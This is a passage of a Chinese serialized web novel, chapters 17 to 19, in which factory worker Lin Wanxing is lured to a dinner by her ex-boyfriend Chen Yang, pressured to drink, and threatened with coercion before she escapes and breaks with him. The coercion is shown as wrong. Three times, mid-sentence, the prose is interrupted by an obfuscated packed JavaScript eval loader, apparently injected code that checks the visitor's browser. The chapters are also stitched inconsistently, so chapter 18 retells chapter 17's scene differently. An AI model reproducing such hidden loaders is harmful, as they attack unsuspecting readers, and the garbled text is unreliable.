夜校的冲刺班很快就开课了,晚星每天更加忙碌。早上做工,中午刷题,晚上兼顾兼职和冲刺班课程,几乎没有休息时间。可她却觉得无比充实,每一天都充满了希望。她不再为感情纠结,不再为别人的眼光困扰,只专注于自己的目标,一步步朝着想要的未来走去。 厂区里的风依旧带着烟火气,晚星和陈阳的关系,彻底陷入了冰点。他们在同一个厂区做工,却像陌生人一样,刻意避开彼此。而这道因价值观差异产生的鸿沟,也注定了他们的感情,再也无法回到过去。晚星的成长之路,在迷途知返后,变得愈发清晰而坚定。 17. 第 17 章 初夏的风裹挟着燥热,吹进恒鑫电子厂的车间,也吹得夜校冲刺班的窗户沙沙作响。晚星握着笔的手沁出薄汗,面前摊着密密麻麻的复习题,王老师讲的知识点在脑海里盘旋,连指尖划过纸张都带着急促的节奏。距离高中毕业证考核只剩一个月,她把所有精力都扑在了学习上,厂区里与陈阳的刻意回避,倒成了让她安心刷题的清净。 手机在桌角轻轻震动了一下,晚星下意识瞥了一眼,屏幕上跳出的“陈阳”二字让她指尖一顿。自从上次夜市争执后,两人已有一周没说过话,陈阳不再刻意找她麻烦,也彻底断了所有联系,她本以为这段关系会就这么悄无声息地淡化,直至结束。 她犹豫了几秒,还是拿起手机解锁。陈阳发来的消息语气格外柔和,甚至带着几分讨好:“晚星,这几天我想了很多,之前是我不对,不该阻拦你学习,也不该对你发脾气。我跟我几个朋友说了这事,他们都骂我不懂事,让我好好跟你道歉。今晚我在厂区附近的家常菜馆订了位,想请你吃个饭,也算我赔罪,顺便让你见见我朋友,好不好?” 晚星盯着屏幕,心里泛起复杂的涟漪。理智告诉她,应该直接拒绝,陈阳的自私与偏执早已显露,没必要再有牵扯。可心底深处,还有一丝残存的侥幸——或许他是真的想通了,或许这段关系还能体面收尾。她想起两人刚在一起时的甜蜜,想起陈阳曾给过的那些细碎温暖,指尖在键盘上敲了又删,最终还是回复:“我晚上还要复习,没时间。” 消息发出去没多久,陈阳就打来了电话,语气带着前所未有的耐心:“就吃一顿饭,不会耽误你太久的。我知道你重视学习,吃完饭我亲自送你回宿舍,保证不耽误你复习。算我求你了,给我一个赔罪的机会,不然我心里一直不安。” 电话那头的声音恳切,晚星终究还是软了心。她咬了咬唇,轻声说:“那好吧,就一小时。” 挂了电话,晚星心里莫名有些不安,总觉得事情不会这么简单。张琪凑过来问清缘由,眉头瞬间皱紧:“晚星,你别去!陈阳那个人没安好心,他之前对你那么冷淡,突然要请你吃饭赔罪,肯定有问题!” “我也觉得有点奇怪,但他说得很诚恳,而且我也想跟他把话说清楚,彻底了断。”晚星叹了口气,“放心吧,我就去吃顿饭,保持警惕,不会出事的。一小时就回来,你等我消息。” 张琪还是不放心,反复叮嘱:“那你一定别喝酒,不管他怎么劝都别喝。要是有任何不对劲,立刻给我打电话,我马上过去找你。” 傍晚下班后,晚星换了件干净的短袖衬衫,如约来到陈阳说的家常菜馆。饭馆不大,烟火气浓重,角落里的包间里传来喧闹的笑声,陈阳早已在门口等她,穿着一身干净的休闲装,脸上堆着温和的笑,与之前的冷淡判若两人。 “晚星,你来了。”陈阳快步走上前,想牵她的手,晚星下意识往后退了一步,避开了他的触碰。陈阳的手僵在半空,眼里闪过一丝不悦,很快又掩饰过去,笑着说:“里面请,我朋友都在等你了。” 晚星跟着他走进包间,里面坐着四五个年轻男生,都是陈阳的同事,她之前在厂区里见过几次。看到晚星进来,众人立刻起哄:“哟,这就是晚星吧?难怪陈阳魂不守舍的,果然漂亮!” 晚星脸颊微微泛红,有些不自在地低下头。陈阳拉着她在主位旁的椅子坐下,拿起桌上的菜单:“你想吃点什么?随便点,今天我请客。” “我随便吃点就行,简单点就好。”晚星语气平淡,目光在包间里扫了一圈,众人的眼神带着审视和玩味,让她心里的不安更甚。 陈阳没问她的意见,直接点了一桌子菜,又让老板拿了两箱啤酒,摆在桌上。晚星心里一紧,连忙说:“我不能喝酒,我晚上还要复习,喝了酒脑子不清醒。” “就喝一点点,没事的。”陈阳拿起一瓶啤酒,熟练地打开,给她倒了一杯,语气带着不容拒绝的强势,“今天是我给你赔罪,你不喝就是不给我面子,还是说你还在生我的气?” 旁边的男生也跟着起哄:“是啊晚星,陈阳都这么有诚意了,你就陪一杯呗!”“就是,少喝一点不耽误复习,别扫了大家的兴。” 晚星握着空杯子,指尖发凉。她看着陈阳眼里的执拗,又看了看周围人起哄的样子,知道自己若是执意不喝,只会引来更多纠缠。她咬了咬牙,拿起杯子抿了一小口,啤酒的苦涩顺着喉咙往下滑,让她胃里一阵翻腾。 “这才对嘛。”陈阳笑了起来,拿起自己的杯子,“来,我敬你一杯,之前是我不对,我自罚三杯,你随意。”说着,就仰头连喝了三杯,眼神里带着一丝不易察觉的算计。 席间的气氛渐渐热烈起来,陈阳频频给晚星夹菜、倒酒,理由一套接一套。“这道菜好吃,你多吃点”“再喝一杯,咱们这事就算翻篇了”“我朋友都在这,你别让我难堪”。晚星想拒绝,却被他用各种话堵回来,周围的男生也不停帮腔,逼着她一杯接一杯地喝。 几杯啤酒下肚,晚星的脑袋开始发沉,脸颊发烫,视线也有些模糊。她知道自己不能再喝了,撑着桌子站起身,语气带着一丝慌乱:“我不能再喝了,我要回去了,我还要复习。” “急什么?饭还没吃完呢。”陈阳一把拉住她的手腕,力道大得让她生疼。他脸上的笑容早已消失,眼神里带着几分阴鸷,语气也冷了下来,“好不容易聚一次,你这就走了,不是故意扫我面子吗?” 晚星用力想抽回自己的手,却被他攥得更紧。她心里的不安瞬间变成了恐慌,脑袋也清醒了几分:“陈阳,你放开我!我真的要回去了,你别这样!” “放开你?”陈阳嗤笑一声,站起身,居高临下地看着她,眼神里满是轻蔑和占有欲,“林晚星,你别给脸不要脸。我今天请你吃饭,让你见我朋友,就是把你当我的人了。喝几杯酒怎么了?反正早晚都是我的人,装什么清纯?” 他的话像一道惊雷,炸得晚星浑身冰凉。她难以置信地看着陈阳,眼前这个面目狰狞的男生,和之前那个温和体贴、给她送早餐的陈阳,判若两人。原来所谓的赔罪、见朋友,都是他精心策划的圈套,目的就是想强迫她。 “你胡说!我不是你的人,你放开我!”晚星拼命挣扎,眼泪忍不住掉了下来,声音带着哭腔,“陈阳,你别这样,我要喊人了!” “喊人?你喊啊!”陈阳脸上露出嚣张的神色,环顾了一圈包间,“这里都是我的朋友,你就算喊破喉咙也没人帮你。我告诉你,今天你既然来了,就别想轻易走。” 旁边的男生们也纷纷站起身,堵住了包间的门,脸上带着玩味的笑容,看戏似的看着两人。“陈阳,差不多就行了,别太过分。”其中一个男生假惺惺地劝了一句,语气里却没有丝毫阻拦的意思。 “过分?我对她还不够好吗?”陈阳眼神凶狠,手上的力道又重了几分,晚星的手腕被攥得通红,疼得她浑身发抖,“我每天给她送早餐,对她百依百顺,可她呢?眼里只有学习,把我当空气,还想摆脱我。今天我就要让她知道,她是谁的人!” 晚星的心脏狂跳不止,恐慌像潮水一样将她淹没。她看着堵在门口的男生,又看着眼前面目狰狞的陈阳,知道自己陷入了绝境。她想起张琪的叮嘱,想起自己还没完成的学业,想起对未来的憧憬,眼泪掉得更凶了,却依旧没有放弃挣扎:“陈阳,你醒醒!你这样是违法的,你会后悔的!” “违法?我有什么好后悔的?”陈阳冷笑一声,伸手想去搂她的腰,“能得到你,我什么都愿意。你就别挣扎了,乖乖听话,不然吃苦的是你自己。” 晚星拼命往后躲,脚下一个踉跄,差点摔倒。陈阳顺势扶住她的胳膊,将她往自己怀里带。晚星闻到他身上浓重的酒气和烟味,胃里一阵翻江倒海,恶心又恐惧。她用尽全身力气推开他,嘶吼道:“滚开!我就算死也不会让你得逞的!” 陈阳被她推得后退了一步,脸上的神色更加阴沉。他没想到晚星会这么倔强,心里的火气瞬间被点燃,抬手就想打她。晚星吓得闭上眼,身体不由自主地发抖,脑海里一片空白,只剩下无尽的恐慌。 可预想中的巴掌并没有落下,包间门口突然传来一声急促的呼喊:“晚星!你没事吧?” 晚星猛地睁开眼,看到张琪气喘吁吁地站在门口,手里还拿着一根木棍,身后跟着两个夜校的同学——是她担心晚星出事,联系了一起上冲刺班的男生,顺着饭馆一路找了过来。 陈阳和他的朋友都愣住了,显然没料到会有人突然闯进来。张琪快步冲到晚星身边,一把将她拉到自己身后,举起手里的木棍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晚星哭了很久,才渐渐平复下来。她抬起头,眼睛红肿,脸上还挂着泪痕,眼神里满是后怕和决绝。她看着饭馆的方向,心里对陈阳最后一丝留恋也彻底消失了,只剩下无尽的厌恶和悔恨。她后悔自己不该心软,不该抱有侥幸,更后悔认识陈阳这样卑劣的人。 “谢谢你,张琪,还有你们。”晚星声音沙哑,带着浓浓的感激,“如果不是你们,我真的不知道会发生什么。” “跟我们还客气什么。”张琪擦了擦她的眼泪,语气坚定,“以后离陈阳远一点,他就是个疯子。不管什么时候,我都会陪着你,不会再让你一个人面对这种事了。” 一行人往宿舍走,夜色渐深,街道上的行人稀少,只有路灯将他们的影子拉得很长。晚星紧紧攥着张琪的手,手心的冷汗渐渐干涸,心里的恐慌也慢慢消散,取而代之的是一种冰冷的坚定。她知道,经过这件事,她再也不会被感情蒙蔽双眼,再也不会为了任何人放弃自己的底线和未来。 而饭馆的包间里,陈阳看着空荡荡的门口,气得一拳砸在桌子上,桌上的酒杯被震得摔在地上,碎裂一地。“废物!都是废物!”他对着朋友们怒吼,语气里满是不甘和愤怒,“就差一点,就差一点!” “陈阳,别生气了,这事也不能怪我们。”其中一个男生劝道,“谁知道她朋友会突然找来,还报了警。以后有的是机会,慢慢来。” “慢慢来?”陈阳眼神阴鸷,咬牙切齿地说,“林晚星,你敢耍我,我绝对不会放过你!我一定要让你付出代价!”他的眼里满是怨毒,彻底暴露了卑劣自私的本性,也为后续的冲突埋下了隐患。 回到宿舍,晚星洗漱完,躺在床上,却毫无睡意。脑海里反复回放着刚才在饭馆里的场景,陈阳狰狞的面目、凶狠的话语,还有自己无尽的恐慌,像电影一样在眼前闪过。她紧紧抱着枕头,身体依旧在微微发抖,眼泪无声地滑落。 张琪躺在她身边,轻轻拍着她的背,一直陪着她。晚星转过头,看着张琪,声音沙哑地说:“张琪,我以后再也不会相信陈阳了,再也不会为了感情耽误自己了。” “我知道。”张琪心疼地看着她,“经历了这件事,你也该彻底看清他了。以后我们专心学习,把他彻底忘掉,好好为自己的未来努力。不管发生什么,我都会陪着你。” 晚星点了点头,眼里闪过一丝决绝。她知道,这场精心策划的聚餐,不仅彻底摧毁了她对陈阳的所有幻想,也让她彻底醒悟。感情从来不是依附他人的借口,更不是让自己陷入险境的枷锁。从今以后,她只会专注于自己的学业,守护好自己,一步步朝着想要的未来走去。而陈阳的卑劣行径,也让她明白,有些人,从一开始就不值得珍惜,唯有及时止损,才能守护好自己的人生。 18. 第 18 章 陈阳扬起的手停在半空,眼底的凶戾与酒意交织,看得晚星浑身血液几乎凝固。她紧闭着眼,指甲深深掐进掌心,刺骨的恐惧让她连呼吸都不敢用力,只等着那记带着怒火的巴掌落下。可几秒过去,预想中的疼痛并未袭来,耳边反倒传来陈阳朋友的拉扯声和哄劝声。 “阳子,别冲动!真打了人事情就闹大了,不值得。”一个瘦高个男生拽住陈阳的胳膊,眼神扫过晚星惨白的脸,语气里带着几分顾虑,“本来就是想教训她一下,让她服软,真动了手传出去,厂里领导知道了对你没好处。” 陈阳喘着粗气,胸腔里的怒火翻涌,却也清楚朋友说的是实话。他恶狠狠地瞪着晚星,松开攥着她手腕的手,力道之大让晚星踉跄着后退两步,跌坐在椅子上。“算你走运。”陈阳啐了一口,语气里满是不甘,“今天这事没完,你别想就这么算了。” 晚星捂着发红发烫的手腕,指腹摩挲着被攥出的红痕,疼得浑身发颤。她低着头,不敢再看陈阳的眼睛,心里却在飞速盘算着逃脱的机会。包间里的男生们见状,也渐渐放下了戒备,纷纷回到座位上,有的继续喝酒,有的凑在一起闲聊,堵在门口的人也挪开了位置,注意力不再全放在她身上。 陈阳被朋友拉着坐下,又灌了几口啤酒,嘴里还在骂骂咧咧地抱怨晚星不识抬举。酒精渐渐麻痹了他的警惕心,他和朋友越聊越投入,偶尔瞥向晚星,也只是带着轻蔑的眼神,没再上前为难。 晚星的心跳依旧狂跳不止,手心的冷汗浸湿了衣摆。她悄悄抬眼,打量着包间的环境——门虚掩着,离她只有几步远,而陈阳和他的朋友都背对着门口,注意力全在酒桌上。这是唯一的机会,晚星心里只有一个念头:跑! 她深吸一口气,压下浑身的颤抖,慢慢站起身。椅子与地面摩擦发出轻微的声响,晚星的心瞬间提到了嗓子眼,下意识停下动作,紧张地看向陈阳一行人。好在他们聊得正欢,没人注意到她的动静。晚星咬着唇,踮着脚,一步一步朝着门口挪动,每一步都像踩在刀尖上,生怕被发现。 就在她快要走到门口时,陈阳突然转头看了过来,晚星吓得瞬间僵在原地,大气都不敢出。“还愣着干什么?”陈阳语气不耐烦,以为她还在闹脾气,“过来给我倒杯酒,这事就暂且翻篇。” 晚星的大脑飞速运转,强装出怯懦的样子,低着头小声说:“我……我去下洗手间。”她的声音带着不易察觉的颤抖,却恰好符合受了惊吓后的状态。 陈阳皱了皱眉,显然有些不悦,但或许是酒意正浓,或许是觉得晚星逃不出他的手掌心,并未多想,摆了摆手不耐烦地说:“快点回来,别耍花样。” 晚星如蒙大赦,几乎是逃一般地推开包间门,冲了出去。饭馆里人声鼎沸,烟火气混杂着酒气扑面而来,却让她紧绷的神经稍稍放松了几分。她不敢停留,低着头,沿着墙角拼命往前跑,慌乱中撞到了一个服务员,手里的餐盘摔在地上,发出刺耳的声响。 “对不起!对不起!”晚星来不及道歉,也不敢回头看,只顾着往前冲。身后传来服务员的抱怨声,还有包间里隐约传来的呼喊声,她知道陈阳可能发现不对劲了,跑得更快了,裙摆被地上的杂物勾住,撕开一道口子也浑然不觉。 终于冲出饭馆,晚星大口大口地喘着粗气,胸口剧烈起伏。傍晚的风带着燥热,却吹不散她浑身的寒意。她回头看了一眼饭馆门口,没看到陈阳追出来,才稍稍松了口气,随即又被巨大的恐慌包裹——她不知道陈阳会不会追上来,也不知道该往哪里跑。 马路上车水马龙,晚星站在路边,手足无措地看着来往的车辆,眼泪不受控制地往下掉。她的头发凌乱,衬衫被汗水和灰尘弄脏,手腕上的红痕清晰可见,模样狼狈不堪。路过的行人纷纷投来异样的目光,却没人停下脚步询问。 “师傅!师傅!”晚星看到一辆出租车驶来,像是抓住了救命稻草,拼命挥手呼喊。出租车缓缓停下,晚星拉开车门,跌坐进后座,声音带着哭腔对司机说:“师傅,麻烦去惠民小区,快!越快越好!” 司机师傅看了看她狼狈的样子和泛红的眼眶,眼神里闪过一丝疑惑,却没多问,点了点头,立刻发动了车子。晚星靠在椅背上,看着窗外飞速倒退的街景,紧绷的神经终于放松下来,眼泪像断了线的珠子一样不停滑落。刚才在包间里的场景一遍遍在脑海里回放,陈阳狰狞的面目、凶狠的话语,还有那近在咫尺的危险,都让她心有余悸。 她抬手抚摸着自己的手腕,那里的疼痛感还在持续,就像心里的创伤一样,难以磨灭。她后悔自己的心软,后悔当初没有听从张琪的劝告,更后悔认识了陈阳这样卑劣的人。如果不是刚才陈阳的朋友阻拦,如果不是自己抓住了那一点点机会,后果不堪设想。 出租车很快抵达惠民小区门口,晚星慌乱地从口袋里掏出钱递给司机,连找零都忘了拿,就推开车门冲了下去。她一路狂奔,跑进小区,爬上楼梯,直到冲到宿舍门口,才无力地靠在门上,浑身脱力地滑坐在地上。 她颤抖着手拿出钥匙,好几次都插不进锁孔,好不容易打开门,看到张琪正坐在床上看书,晚星再也忍不住,扑过去抱住张琪,放声大哭起来。她的身体剧烈发抖,哭声里充满了恐惧、委屈和后怕,像是要把刚才压抑的情绪全部宣泄出来。 张琪被她突如其来的举动吓了一跳,连忙放下书,抱住浑身颤抖的晚星,察觉到她的不对劲,心里一紧,语气焦急地问:“晚星?怎么了?出什么事了?你不是去和陈阳吃饭了吗?怎么变成这样了?” 晚星靠在张琪怀里,哭了很久,才渐渐平复下来,断断续续地把饭馆里的事情一五一十地告诉了张琪。从陈阳强行灌她酒,到暴露本性说狠话,再到她趁隙逃脱的狼狈,每说一句,她的身体就忍不住抖一下,眼里满是恐惧。 “这个畜生!简直不是人!”听完晚星的诉说,张琪气得浑身发抖,猛地推开晚星,眼神里满是怒火和心疼,“他竟然敢这么对你!我就知道他没安好心,让你别去你偏去,你要是有个三长两短,我该怎么办?” 晚星咬着唇,眼泪又掉了下来,声音沙哑地说:“对不起,张琪,我不该不听你的话……我刚才真的好害怕,我以为我逃不出来了。” “跟我说什么对不起!”张琪伸手擦了擦晚星的眼泪,语气又气又心疼,“该道歉的是那个混蛋!他以为自己是谁?竟然敢这么欺负你!不行,我不能就这么算了,我必须去找他算账!” 说着,张琪就站起身,伸手抓过搭在椅背上的外套,就要往外走。晚星连忙拉住她的手,摇了摇头,眼里满是顾虑:“别去了,张琪,我已经逃出来了,万一你去找他,他对你动手怎么办?他还有那么多朋友。” “动手?我还怕他不成?”张琪用力甩开晚星的手,语气坚定,“他都对你做出这种事了,我不能就这么忍了!我要让他知道,你不是好欺负的,我也要让他身边的人都看看,他是什么样的卑劣小人!” “可是……”晚星还想劝说,却被张琪打断了。“没有可是!”张琪的语气不容拒绝,“你在这里好好休息,别怕,我去去就回。就算不能把他怎么样,我也要骂醒他,让他以后再不敢找你麻烦!” 张琪说完,不再理会晚星的阻拦,转身就冲出了宿舍。晚星看着空荡荡的门口,心里又担心又害怕,却也知道张琪的脾气,一旦决定的事情,十头牛都拉不回来。她蜷缩在床上,紧紧抱着枕头,身体依旧在微微发抖,脑海里全是陈阳的样子,根本无法平静。 张琪一路怒气冲冲地往饭馆赶,心里的怒火越烧越旺。她一边走,一边在心里盘算着要怎么教训陈阳,怎么替晚星讨回公道。走到饭馆门口,她深吸一口气,压下心里的怒火,径直走了进去,朝着陈阳所在的包间走去。 此时的包间里,陈阳正和朋友喝着酒,嘴里还在抱怨晚星“不识抬举”,说自己迟早要让晚星“服服帖帖”。张琪推开门,听到他的话,怒火瞬间达到了顶点,冲进去指着陈阳的鼻子,厉声骂道:“陈阳,你这个混蛋!你还有脸在这里喝酒吹牛?” 包间里的人都愣住了,纷纷转过头看向张琪,脸上露出惊讶的神色。陈阳看到张琪,脸色瞬间沉了下来,语气不善地说:“你怎么来了?林晚星呢?她是不是让你来找事的?” “找事?我今天就是来给你算账的!”张琪往前走了两步,怒视着陈阳,声音清亮,让包间里的每个人都能听得清清楚楚,“陈阳,你打着赔罪的幌子,把晚星骗来这里,强行灌她酒,还想对她动手动脚,你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,张琪不再看陈阳一眼,转身就走出了包间。看着张琪的背影,陈阳气得浑身发抖,却只能狠狠砸了一下桌子,发泄心里的怒火。他的朋友纷纷劝他:“算了,陈阳,这事就这么翻篇吧,别再惹麻烦了。” 陈阳没说话,只是拿起桌上的啤酒,仰头一饮而尽,眼里满是怨毒。他心里暗暗发誓,绝对不会就这么算了,林晚星和张琪,他迟早要报复回来。 张琪走出饭馆,心里的怒火渐渐平息了一些。她深吸一口气,转身朝着宿舍的方向走去,担心晚星一个人在家害怕。回到宿舍,看到晚星蜷缩在床上,脸色苍白,张琪连忙走过去,坐在床边,轻轻拍着她的背,柔声说:“晚星,没事了,我回来了。” 晚星猛地抬起头,看到张琪平安回来,眼里满是欣喜,连忙抱住她,声音沙哑地说:“张琪,你没事就好,我好担心你。” “我没事,别担心。”张琪轻轻拍着她的背,安慰道,“我已经教训过陈阳了,他答应我以后不会再找你麻烦了。你放心,有我在,没人能再欺负你了。” 晚星点了点头,靠在张琪怀里,心里稍稍安定了一些。可她知道,陈阳的为人,他说的话未必能算数。但此刻,她不想再想那些烦心事,只想紧紧抱着张琪,感受这份难得的温暖和安全感。 夜色渐深,宿舍里的灯光昏黄而温暖。晚星靠在张琪怀里,渐渐平复了心情,可脑海里的创伤却难以抹去。她知道,经过这件事,她再也无法回到过去,再也无法对感情抱有幻想。而陈阳的怨毒眼神,也让她隐隐有些不安,她不知道,这场风波是否真的已经结束,也不知道陈阳会不会真的就此罢手。 张琪抱着晚星,心里满是心疼。她能感受到晚星的颤抖和不安,也知道这场经历对晚星造成了多大的伤害。她在心里暗暗发誓,以后一定要好好保护晚星,不让她再受到任何伤害。同时,她也在心里警惕着陈阳,做好了随时应对他报复的准备。 宿舍里很安静,只有两人均匀的呼吸声。晚星闭上眼睛,努力想忘记刚才的恐惧,可陈阳狰狞的面目却始终在眼前浮现。她知道,这场惊魂未定的经历,将会成为她心里一道难以愈合的伤疤,而她与陈阳之间的恩怨,也远远没有结束。但此刻,有张琪在身边,她心里多了一份勇气,一份面对未来的勇气。 19. 第 19 章 清晨的阳光透过惠民小区的梧桐叶,在地面投下斑驳的光影。晚星坐在书桌前,指尖捏着笔却迟迟未动,课本上的知识点模糊不清,脑海里反复闪过陈阳狰狞的面目,手腕上的红痕虽已淡去,触感却依旧清晰如昨。昨夜的惊魂未定还未完全消散,心底残留的恐惧像藤蔓般缠绕,让她连呼吸都带着几分滞涩。 “别想了,先吃点早饭。”张琪端着两碗粥走进来,把其中一碗放在晚星面前,语气带着心疼,“我买了你爱吃的包子,多少吃点,今天还要上班,晚上还要去冲刺班。” 晚星抬起头,眼底布满红血丝,勉强挤出一个笑容:“谢谢你,张琪。”她拿起包子,咬了一小口,却味同嚼蜡,喉咙里像是堵着什么,难以下咽。昨夜张琪回来后,她辗转反侧到后半夜才浅浅入眠,稍有动静就会惊醒,那场差点失控的遭遇,早已在她心里刻下了深深的烙印。 “我今天跟组长请了半天假,陪你去厂里。”张琪坐在她对面,一边喝粥一边说道,“我怕陈阳那个混蛋不死心,再来找你麻烦。你放心,我陪着你,他不敢怎么样。” 晚星心里一暖,点了点头。经过这件事,她越发明白,张琪是她在这座城市里最坚实的依靠。而陈阳,那个曾给她短暂温暖的人,如今只剩下无尽的厌恶与悔恨。她轻轻攥紧拳头,在心里暗暗发誓,再也不会给陈阳任何伤害自己的机会。 收拾妥当后,两人并肩往厂区走去。一路上,晚星都下意识地留意着周围的动静,生怕再遇到陈阳。张琪察觉到她的紧张,悄悄握住她的手,用力捏了捏,用眼神给她鼓励。晚星回望一眼张琪,心里的不安稍稍缓解了几分。 两人刚走到厂区宿舍楼下,就看到一道熟悉的身影靠在墙角——陈阳穿着一身干净的工装,头发梳得整齐,手里还拎着一个塑料袋,脸上带着刻意装出来的愧疚,看到晚星和张琪,立刻站直了身体,快步迎了上来。 晚星的身体瞬间僵住,下意识地往张琪身后躲了躲,心里的恐惧瞬间翻涌上来。张琪立刻挡在晚星身前,怒视着陈阳,语气冰冷:“陈阳,你还来干什么?我警告过你,离晚星远点!” 陈阳脸上的愧疚不变,避开张琪的目光,看向她身后的晚星,语气带着几分刻意的温柔:“晚星,我是来跟你道歉的。那天的事是我不对,我喝多了,一时糊涂,说了不该说的话,做了不该做的事,你别往心里去。” 他一边说,一边举起手里的塑料袋:“这是你爱吃的桂花糕,我特意早起去买的。你原谅我这一次好不好?我们重新开始,我以后再也不惹你生气了,也支持你去上冲刺班,好不好?” 晚星从张琪身后走出来,眼神平静地看着陈阳,没有丝毫波澜。她看着他脸上虚伪的愧疚,听着他言不由衷的道歉,心里只剩下嘲讽。那天他眼底的凶戾、嘴里的恶语,还有那近乎强迫的举动,绝非“喝多了糊涂”就能掩饰的。他所谓的道歉,不过是不甘心失去掌控,想把她重新拉回身边罢了。 “陈阳,你没必要装模作样。”晚星的声音清冷,带着前所未有的坚定,“那天的事,不是你喝多了糊涂,是你本性如此。你从来没有想过道歉,你只是不甘心而已。” 陈阳脸上的笑容一僵,眼底闪过一丝不悦,却很快又掩饰过去,语气越发“恳切”:“晚星,我是真心道歉的。我知道我错了,我以后一定改。我们在一起这么久,难道你就一点都不留恋吗?” “留恋?”晚星嗤笑一声,眼底满是失望,“我留恋的,是那个每天给我送早餐、陪我下班的陈阳,可那个陈阳,从来都不是真实的你。真实的你,自私、卑劣、控制欲强,只想着把别人当成自己的附属品,从来不会考虑别人的感受,更不会尊重别人的追求。” “你别这么说!”陈阳的语气有些急躁,脸上的愧疚再也装不住了,“我承认我那天是过分了,但我也是因为在乎你,怕失去你。晚星,跟我复合好不好?我保证以后对你好,再也不阻拦你学习了。” 说着,他就伸手想去拉晚星的手,试图用肢体接触软化她的态度。晚星早有防备,立刻往后退了一步,避开了他的触碰,眼神瞬间冷了下来:“陈阳,你别碰我!” 陈阳的动作僵在半空,脸上的表情彻底沉了下来。他没想到晚星会如此强硬,丝毫没有回旋的余地。周围渐渐围过来不少上下班的工友,纷纷好奇地打量着三人,窃窃私语的声音不断传来,让他觉得脸上火辣辣的,自尊心受到了极大的挫伤。 “林晚星,我都放下身段来给你道歉了,你还想怎么样?”陈阳的语气不再温柔,带着一丝威胁,“你别给脸不要脸,真把我惹急了,我可不知道会做出什么事来。” “你想做什么?”张琪往前一步,挡在晚星身前,怒视着陈阳,“你还想再对晚星动手?我告诉你,这里这么多工友看着,你要是敢动一下,我们立刻报警,让厂里领导也评评理,看看你这个卑劣小人的真面目!” 周围的工友们听到这话,议论声更大了。有人认出了陈阳和晚星,隐约知道两人之前是情侣,此刻见这架势,也猜到了大概。有人小声指责陈阳不像话,也有人同情地看着晚星,目光里满是探究。 陈阳被众人的目光看得浑身不自在,心里的怒火越来越旺,却又不敢在众人面前发作,只能恶狠狠地瞪着晚星:“我最后问你一次,你到底要不要跟我复合?” 晚星深吸一口气,目光坚定地看着陈阳,声音清亮,让周围的每一个人都能听得清清楚楚:“我不会跟你复合的,陈阳。从你那天试图强迫我的那一刻起,我们之间就彻底结束了。” 她顿了顿,眼神里满是决绝,一字一句地说道:“我林晚星就算一辈子在流水线上打工,就算一辈子孤身一人,也绝不会再和你这样自私卑劣的人在一起。你别再白费力气了,我们之间,再无可能。” 这句话像一记重锤,狠狠砸在陈阳心上。他脸色一阵青一阵白,又羞又怒,浑身都在发抖。他没想到晚星会如此不给面子,当着这么多工友的面,把话说得这么绝,让他彻底下不来台。 “好!好得很!”陈阳咬着牙,眼神里满是怨毒,“林晚星,你给我记着!你今天对我这么绝情,以后别后悔!” “我不会后悔。”晚星平静地看着他,“真正该后悔的人是你,后悔没有珍惜别人的真心,后悔暴露了自己的本性。从今以后,我们桥归桥,路归路,你走你的阳关道,我过我的独木桥,再也不要有任何牵扯。” 陈阳看着晚星决绝的眼神,知道再纠缠下去也没用,只会让自己更难堪。他狠狠瞪了晚星一眼,又怨毒地扫了张琪一眼,猛地将手里的塑料袋摔在地上,桂花糕散落一地,被来往的脚步踩得稀碎,像他那点虚伪的歉意一样,不堪一击。 “咱们走着瞧!”陈阳放下一句狠话,在众人鄙夷的目光中,狼狈地转身就走,脚步仓促,恨不得立刻逃离这个让他颜面尽失的地方。 看着陈阳远去的背影,晚星紧绷的身体终于放松下来,心里的一块巨石也彻底落地。积攒了许久的委屈、恐惧与愤怒,在这一刻尽数消散,取而代之的是一种前所未有的释然。她终于彻底斩断了这段错误的感情,再也不用被陈阳的自私与控制所困扰。 “晚星,你真棒!”张琪一把抱住她,语气里满是欣慰,“终于跟这个混蛋彻底了断了,以后再也不用受他的气了。” 晚星靠在张琪怀里,眼眶微微泛红,却不是因为悲伤,而是因为释然。她轻轻点了点头,声音带着一丝哽咽,却无比坚定:“嗯,再也不用了。” 周围的工友们见状,也纷纷散去,有人路过时还不忘安慰晚星几句,让她别往心里去。晚星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“一定会实现的。”张琪笑着说,“你这么努力,这么有韧劲,肯定能考上。到时候你成为了文字工作者,我就去投奔你,咱们还一起生活。” 晚星笑了起来,心里满是憧憬。她知道,未来的路还很长,可能会遇到很多困难与挫折,但她不再害怕。她有张琪这个最好的朋友,有自己坚定的目标,还有重新站起来的勇气。只要她坚持不懈地努力,就一定能摆脱现在的生活,过上自己想要的日子。 而另一边,陈阳躲在厂区的角落,心里满是怨毒与不甘。他越想越气,晚星当众给他的羞辱,工友们鄙夷的目光,像针一样扎在他心上。他不甘心就这么算了,更不甘心晚星就这样彻底摆脱他。他坐在地上,双手紧紧攥成拳头,眼里闪过一丝阴狠的光芒,心里暗暗盘算着报复的计划。 有路过的同事看到他,想上前安慰几句,却被他恶狠狠地瞪了回去。同事们见状,也只能悻悻地离开,没人敢再招惹他。陈阳心里很清楚,自己在厂里已经颜面尽失,但他不在乎,他只想让晚星付出代价,让她为今天的绝情后悔。 傍晚下班后,晚星和张琪一起去了夜市摆摊。经过白天的决裂,晚星的心态变得更加平和,摆摊时也不再像之前那样畏畏缩缩,而是主动招呼顾客,脸上带着从容的笑容。虽然辛苦,但她知道,每一分努力,都是在为自己的未来铺路。 收摊后,两人并肩往宿舍走。夜色渐深,路灯将她们的影子拉得很长。晚星看着身边的张琪,心里满是温暖。她知道,这场错误的初恋,虽然让她受到了伤害,但也让她快速成长,让她明白了什么是真正值得珍惜的,什么是自己真正想要的。 